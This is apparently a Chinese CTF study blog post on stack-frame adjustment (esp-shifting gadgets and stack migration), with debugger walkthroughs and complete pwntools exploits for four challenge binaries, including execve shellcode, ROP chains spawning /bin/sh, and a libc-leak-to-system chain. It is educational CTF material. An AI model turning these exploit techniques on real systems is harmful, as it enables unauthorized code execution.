花式栈溢出(栈帧的调节)

前言

本人刚学pwn不久,最近在学习过程中学到了各种需要栈帧调节的题目,以此记录一下。
在一些栈溢出的程序中,我们会碰到一些问题,例如溢出的可控字节数太少,无法构造我们想要的rop链,程序ASLR开启后导致的栈地址不可预测等。对于这种问题,常用的思路包括:

  • 加减esp值,控制栈指针
  • Stack Migration来构造一个假的栈帧。

这里总结了2种题型:

加减esp,把控栈指针

这种题型就需要用Ropgadget找一个控制esp的gadget,然后简单修改esp值的大小,来满足我们的需求。

Alictf_016_vss

这个题目就是一个修改esp扩大栈空间,从而构造rop链获取shell的题目。

检查保护和arch

-w446

ida分析

由于这个程序使用静态编译和strip命令剥离符号,用ida打开没有我们平时看的那么简单,
很多函数已经无法识别,我们就需要自己调试,然后推测是什么函数。
-w618
start函数中,call的函数是__libc_start_main, 上一行的 offset则是main函数
那个箭头就是main函数了。进入main函数以后,可以经过syscall中rax的参数来确认其是什么函数,很明显一个函数是alarm函数,先手动nop一下。
-w555
把这个函数去除后,方便gdb的后期调试。接着可以很容易确定一下puts函数跟read函数,在ida中修改一下。-w528
下面那个40108e函数是比较复杂的,我用edb动态调试来确定出其中的某些函数:
-w857
对于这个函数,先确定一下其参数。
-w824
-w322
dump过去就会发现是复制了一份。所以就确定这个函数是strncpy是函数。
对于这个函数char *strncpy(char *dest, const char *src, int n)将src指向的字符数组中n个字符复制到dest指向的字符数组中,在第一个空字符处停止,并返回被复制后的dest
-w781
对于下一段就是判断一下,是否与0x79和0x70相等,可以来手动修改值让其相等。
-w803
往后走会发现先溢出了,在做溢出题的时候看到return 就应该想办法想上跳。
-w368
溢出的这个地址就是刚刚又syrcpy函数复制过来0x50字节中的最后8个字节,因为是strncpy函数,我们输入的字符串中是不能有\x00,否则会被截断,从而无法复制满0x50字节制造可控溢出,所以前0x48个字节中,我们不能写入任何地址。在这种情况下就需要通过修改esp来完成漏洞利用。

在最前面的read函数中,给了十分大的缓冲区可以用,我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上,紧接着执行这个rop链即可。

查到one_gadget发现0x000000000046f205 : add rsp, 0x58 ; ret正好符合要求。然后gdb调试一下确定一下rop链从50个字节后的那里开始合适即可。(这个在找onegadget的时候注意不要把rsp搞成esp了,自己在做的时候因为这个调试了半天,才发现是这个错误,导致exp不成功)

exp

from pwn import *
import time
io = process('./vss')
e = ELF('./vss')
io.recvuntil('Password:\n')
add_rsp_0x58_ret = 0x0046f205
pop_rax_ret = 0x0046f208
pop_rdi_ret = 0x0401823
pop_rsi_ret = 0x0401937
pop_rdx_ret = 0x043ae05
bss = 0x6C8178 -10
syscall_ret = 0x0045f2a5
rop1 = [
    pop_rax_ret,
    0,
    pop_rdi_ret,
    0,
    pop_rsi_ret,
    bss,
    pop_rdx_ret,
    10,
    syscall_ret,
    pop_rax_ret,
    0x3b,
    pop_rdi_ret,
    bss,
    pop_rsi_ret,
    0,
    pop_rdx_ret,
    0,
    syscall_ret
]
# raw_input('->')
io.sendline('py' + 'a'*70 + p64(add_rsp_0x58_ret)+ 'b'* 8 + ''.join(map(p64,rop1)))
# raw_input('->')
sleep(0.1)
io.send('/bin/sh\x00')
io.interactive()

X-CTF Quals 2016-b0verfl0w

查保护和arch

-w438
这个nx也没有开,可以用栈执行shellcode

ida分析

signed int vul()
{
  char s; // [esp+18h] [ebp-20h]

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

代码很简单,但是可以发现可以溢出的字节只有50-0x20-4=14个字节可控,所以是很难写出rop链来获取咱们目的的。然后就可以考虑控制栈指针的攻击思路,就是先把shellcode摆在栈上,然后控制eip到达这里就可以了。但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。

找一下控制esp的gadget
0x08048504 : jmp esp
然后怎么控制eip到shellcode上呢,因为没有nx保护,我们可以写一段指令来控制偏移:

sub esp,0x28
jmp esp

exp

from pwn import *
#io = process('./b0verfl0w')
context.arch = 'i386'
io = remote('node3.buuoj.cn',29410)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode + (36-len(shellcode_x86))*'b'+p32(jmp_esp) + sub_esp_jmp
io.readuntil('?\n')
#raw_input('->')
io.sendline(payload)
io.interactive()

Stack Migration

在 Stack Migration 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。

原理

我们知道在函数建立栈帧时有两条指令push ebp; mov ebp, esp,而退出时同样需要消除这两条指令的影响,即leave(mov esp, ebp; pop ebp) 。且leave一般紧跟着就是ret。因此,在存在栈溢出的程序中,只要我们能控制到栈中的ebp,我们就可以通过两次leave劫持栈。

-w533
第一次随着程序流leave; ret,new esp为我们构造新栈的目标地址。 可以看到执行到ret时,esp还在原来的old栈上,而ebp已经指向了新的栈的栈顶。
1ovtYT.jpg
第二次进入我们放入栈上的leave; ret 的gadget(这个是我们事先写上栈的)esp已经被成功劫持到新的栈上,执行完gadget后栈顶会 在new_esp-4(64位是-8)的位置上。此时栈完全可控了,通过预先或者之后在new stack上布置的rop链可以轻松完成攻击。
1oxKN6.png
1ovjXj.png

HITCON_training_lab6_64位

这个是在HITCON_training的一个练习,直接给的有源码,我给编译成了64位版本。

源码

#include <stdio.h>
int count = 1337 ;
char *t= "Z\xc3" ;
int main(){
if( count!=1337 ){
    _exit(1);
}
count++ ;
char buf[48];
setvbuf(stdout,0,2,0);
puts("Try your best : " );
read(0, buf,128);
return ;
}

gcc -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 migration.c -o migration 编译命令

简单分析

这个题纯粹就是为了练习的Stack Migration用的,可以不分析代码直接用gdb-peda直接来测试:
-w332
-w955
熟悉的栈溢出,但是下面多出来的一些字符串,也是程序不能接受的部分,也可以作为一个需要考虑栈迁移的标志。
1og2r9.jpg
注意一下rsp被覆盖的值。
1ogs8U.jpg
计算padding为48.
1ogwEq.jpg
计算一下,可以填入多少的可控字段。去除一下刚刚程序不能存入的部分和padding部分,还有80个字节可以用。其中一个来伪造new esp,剩下也就还有9个gadget可以用,可以给我构造第一个rop链。

图解分析

假设我们已经填入了溢出字符,buf1即为我们要去的新栈,这个选择bss段的后一半:
1ogabn.jpg
开始执行一下leave 中的mov rsp,rbp
1ogUDs.jpg
此时rsp 也指向了 rbp指向的位置,在执行leave中的pop rbp:
1ocMfU.jpg
此时rbp已经到了我们伪造的新栈buf1,然后开始执行ret,进入执行pop_rdi的gadget:
1ocZmn.jpg
1ocklQ.jpg

此时已经将buf1的地址,推入rdi,作为gets的参数,执行gets函数后,我们就可以往buf1上填入我们的rop链,此时栈大小已经没有限制了,可以任意写。
1o6oo6.jpg
1o6gWF.jpg
在这个buf1的栈空间里,我们需要先把rbp指向的位置写入buf2(下一个构造的新栈),然后构造rop链把puts的内存地址给泄露出来,进而可以算出libc的基地址,接着再构造一个gets函数。接着是执行一下leave 的gadget:
1o60Ln.jpg
1o6NRg.jpg
执行完以后就可以发现我们,已经完全控制了栈。并且开了一个buf2的新栈,留着在buf1调用gets函数时来在buf2新栈中摆上调用system(/bin/sh)函数的rop链。然后继续执行:
1o6tJS.jpg
1o6Yi8.jpg
这就泄露出了puts函数的内存地址。接着开始往buf2新栈上读rop链:
1o6lqI.jpg
1o6QsA.jpg
1o6VIK.jpg
读入完成,接着再次执行leave的gadget:
1o6AVx.jpg
1oyk4S.jpg
可以看到esp到了新栈,rbp因为刚刚在buf2填入的buf1,又会到了buf1,这个地址可以随便填了,对做题不影响,填写这个只是可以看到再次栈转移。接着执行buf2新栈的rop链:
1os600.jpg
就可以拿到shell了。

EXP

借着这个思路就可以开始写exp:

from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./test')
l = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') 
# io = remote('127.0.0.1',4000)
io = process('./test')
pop_rdi_ret = 0x400703
pop_rsi_r15_ret= 0x0400701
pop_rdx_ret= 0x0400724
leave_ret= 0x0400699
buf1 = 0x00602000 - 0x200
buf2 = buf1 + 0x100
padding = 56 - 8
puts_plt = e.symbols['puts']
puts_got = e.got['puts']
read_add = e.symbols['read']
io.recvuntil(':')
p = 'a'*padding + flat([buf1,pop_rdi_ret,0,pop_rsi_r15_ret,buf1,0,pop_rdx_ret,0x100,read_add,leave_ret])
#raw_input('->')
io.send(p)
sleep(0.1)
p = flat([buf2,pop_rdi_ret,puts_got,puts_plt,pop_rdi_ret,0,pop_rsi_r15_ret,buf2,0,pop_rdx_ret,0x100,read_add,leave_ret])
sleep(0.1)
#raw_input('->')
io.sendline(p)
io.recvuntil('\n')
puts = u64((io.recv(6)).ljust(8,'\x00'))
libc = puts - l.symbols['puts']
print('libc_base:' + hex(libc))
binsh_add = l.search('/bin/sh\x00').next() + libc
#print(binsh_add)
# raw_input('->')
system_add = l.symbols['system'] + libc
p = flat([buf1,pop_rdi_ret,binsh_add,system_add])
sleep(0.1)
io.sendline(p)
io.interactive()

Hgame2020_week2_rop_level2

查保护和arch

1os8OI.jpg
32位程序,开了nx保护

ida分析

1osEO1.md.jpg
这个明显的栈溢出,但是0x60-0x50-0x8 = 8。发现只有一个gadget位置,无法构造我们想要的rop链。但是前面的第一个read函数,可以读入很大空间,并且第二个参数buf的地址是固定的。
1orMMn.jpg
那这个题明显就是可以Stack Migration来解决问题了,并且只需再写一个leave ret就控制栈了。

攻击思路

程序中有着open,read,puts函数,我们可以写一个rop链,调用open函数,控制其参数是./flag,并在gdb中调试将其返回的文件fd号记录下来,然后传递给read函数,让其读入文件内容存入某个缓冲区,再用puts函数输出一下flag文件的内容即可。在第一个read的时候,我们就需要写好rop链。然后在最后一个read函数时,控制好ebp指向我们的新栈。

EXP

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# io = process('./ROP')
io = remote('47.103.214.163',20300)
e = ELF('./ROP')
buf = 0x06010A0
# libc = e.libc
padding = 80
leave_ret = 0x040090d
pop_rdi_ret = 0x00400a43
pop_rsi_r15 = 0x00400a41
open_plt = 0x4007b0
read_plt = 0x400780
puts_plt = 0x400760
io.recvuntil('think so?\n')
p = flat(['./flag\x00\x00',pop_rdi_ret,buf,pop_rsi_r15,0,0,open_plt,pop_rdi_ret,4,pop_rsi_r15,buf+0x80,0,read_plt,pop_rdi_ret,buf+0x80,puts_plt])
io.sendline(p)
io.recvuntil('\n')
p = padding * 'a' + p64(buf) + p64(leave_ret)
raw_input('->') #手动下一个断点,以后让gdb附加上进行调试
io.send(p)
flag = io.recvline_contains('hgame')
print(flag)
io.interactive()

我们跟着exp来调试一下,看看效果:
1or3ZV.jpg
此时的esp是我们伪造的new esp,已经指向了我们的目标位置,并且第一个rop链接已经送过去,可以看到./flag的字眼。执行一下leave:
1orGIU.jpg
可以看到rbp的值已经等于我们伪造的值,esp还在原来栈上。接着执行ret,进入下一个leave ret:
1orQrq.jpg
先记录下当前的状态,开始执行leave:
1or8aT.jpg
执行完发现esp已经到达了新栈buf+8的位置,此时的栈帧已经是我们完全想要的,已经劫持了程序流程,并且新栈空间很大,可以满足我们的需求。ebp是多少已经不重要了,我们直接填入./flag,这个固定地址也做为给open函数做参数。
1ormGQ.jpg
在调试的时候,执行完open函数需要把返回的fd值记录下,给read函数做参数。最后由puts函数在输出flag:
1oDzPe.jpg

Stack Migration小总结

这下可以总结下利用思路也就是

  • 把控好起初栈的ebp,在里面写入需要伪造的new esp
  • 在之后的可利用字节中写入leave gadget
  • 将想执行的ROP Chain写在已知固定位置上
  • 再利用leave搬移Stack位置到已知位置
  • 然后无限接ROP Chain


pwn 学习记录 Stack Migration

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!